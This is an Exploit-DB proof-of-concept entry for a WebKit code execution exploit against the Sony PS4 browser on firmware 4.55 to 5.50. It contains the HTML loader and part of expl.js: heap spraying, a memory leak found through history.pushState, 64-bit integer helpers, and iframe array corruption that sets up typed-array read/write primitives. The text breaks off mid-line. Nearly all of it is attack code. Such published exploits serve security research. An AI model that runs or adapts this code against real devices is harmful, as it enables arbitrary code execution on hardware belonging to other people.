Exploit-DB #44282
Description: Sony Playstation 4 (PS4) 4.55 < 5.50 - WebKit Code Execution (PoC)
Type: local
Platform: hardware
Date: 2018-03-10
Author: qwertyoruiop

Exploit:
<--- index.html --->
<html>
    <body>
        <script>
            window.didload = 0;
            window.didpost = 0;
            window.onload = function() {
                window.didload = 1;
                if (window.didpost == 1)
                    window.stage2();
            }
            window.postExpl = function() {
                window.didpost = 1;
                if (window.didload == 1)
                    window.stage2();
            }
        </script>
        <script src="./expl.js"></script>
        <script src="./rop.js"></script>
        <pre id="console"></pre>
    </body>
</html>
<--- /index.html --->


<--- expl.js --->
function makeid() {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[PII_REDACTED]";

    for (var i = 0; i < 8; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));

    return text;
};

var instancespr = [];

for (var i = 0; i < 4096; i++) {
    instancespr[i] = new Uint32Array(1);
    instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
}

var _dview;

function u2d(low, hi) {
    if (!_dview) _dview = new DataView(new ArrayBuffer(16));
    _dview.setUint32(0, hi);
    _dview.setUint32(4, low);
    return _dview.getFloat64(0);
}
var dgc = function() {
    for (var i = 0; i < 0x100; i++) {
        new ArrayBuffer(0x100000);
    }
}

function int64(low, hi) {
    this.low = (low >>> 0);
    this.hi = (hi >>> 0);

    this.add32inplace = function(val) {
        var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo < this.low) {
            new_hi++;
        }

        this.hi = new_hi;
        this.low = new_lo;
    }

    this.add32 = function(val) {
        var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo < this.low) {
            new_hi++;
        }

        return new int64(new_lo, new_hi);
    }

    this.sub32 = function(val) {
        var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo > (this.low) & 0xFFFFFFFF) {
            new_hi--;
        }

        return new int64(new_lo, new_hi);
    }

    this.sub32inplace = function(val) {
        var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
        var new_hi = (this.hi >>> 0);

        if (new_lo > (this.low) & 0xFFFFFFFF) {
            new_hi--;
        }

        this.hi = new_hi;
        this.low = new_lo;
    }

    this.and32 = function(val) {
        var new_lo = this.low & val;
        var new_hi = this.hi;
        return new int64(new_lo, new_hi);
    }

    this.and64 = function(vallo, valhi) {
        var new_lo = this.low & vallo;
        var new_hi = this.hi & valhi;
        return new int64(new_lo, new_hi);
    }

    this.toString = function(val) {
        val = 16;
        var lo_str = (this.low >>> 0).toString(val);
        var hi_str = (this.hi >>> 0).toString(val);

        if (this.hi == 0)
            return lo_str;
        else
            lo_str = zeroFill(lo_str, 8)

        return hi_str + lo_str;
    }

    this.toPacked = function() {
        return {
            hi: this.hi,
            low: this.low
        };
    }

    this.setPacked = function(pck) {
        this.hi = pck.hi;
        this.low = pck.low;
        return this;
    }

    return this;
}

function zeroFill(number, width) {
    width -= number.toString().length;

    if (width > 0) {
        return new Array(width + (/\./.test(number) ? 2 : 1)).join('0') + number;
    }

    return number + ""; // always return a string
}

var nogc = [];

var fail = function() {
    alert.apply(null, arguments);
    throw "fail";
}

// Target JSObject for overlap
var tgt = {
    a: 0,
    b: 0,
    c: 0,
    d: 0
}

var y = new ImageData(1, 0x4000)
postMessage("", "*", [y.data.buffer]);

// Spray properties to ensure object is fastmalloc()'d and can be found easily later
var props = {};

for (var i = 0;
    (i < (0x4000 / 2));) {
    props[i++] = {
        value: 0x42424242
    };
    props[i++] = {
        value: tgt
    };
}

var foundLeak = undefined;
var foundIndex = 0;
var maxCount = 0x100;

while (foundLeak == undefined && maxCount > 0) {
    maxCount--;

    history.pushState(y, "");

    Object.defineProperties({}, props);

    var leak = new Uint32Array(history.state.data.buffer);

    for (var i = 0; i < leak.length - 6; i++) {
        if (
            leak[i] == 0x42424242 &&
            leak[i + 0x1] == 0xFFFF0000 &&
            leak[i + 0x2] == 0x00000000 &&
            leak[i + 0x3] == 0x00000000 &&
            leak[i + 0x4] == 0x00000000 &&
            leak[i + 0x5] == 0x00000000 &&
            leak[i + 0x6] == 0x0000000E &&
            leak[i + 0x7] == 0x00000000 &&
            leak[i + 0xA] == 0x00000000 &&
            leak[i + 0xB] == 0x00000000 &&
            leak[i + 0xC] == 0x00000000 &&
            leak[i + 0xD] == 0x00000000 &&
            leak[i + 0xE] == 0x0000000E &&
            leak[i + 0xF] == 0x00000000
        ) {
            foundIndex = i;
            foundLeak = leak;
            break;
        }
    }
}

if (!foundLeak) {
    failed = true
    fail("Failed to find leak!")
}

var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
var leakJSVal = new int64(firstLeak[8], firstLeak[9]);

Array.prototype.__defineGetter__(100, () => 1);

var f = document.body.appendChild(document.createElement('iframe'));
var a = new f.contentWindow.Array(13.37, 13.37);
var b = new f.contentWindow.Array(u2d(leakJSVal.low + 0x10, leakJSVal.hi), 13.37);

var master = new Uint32Array(0x1000);
var slave = new Uint32Array(0x1000);
var leakval_u32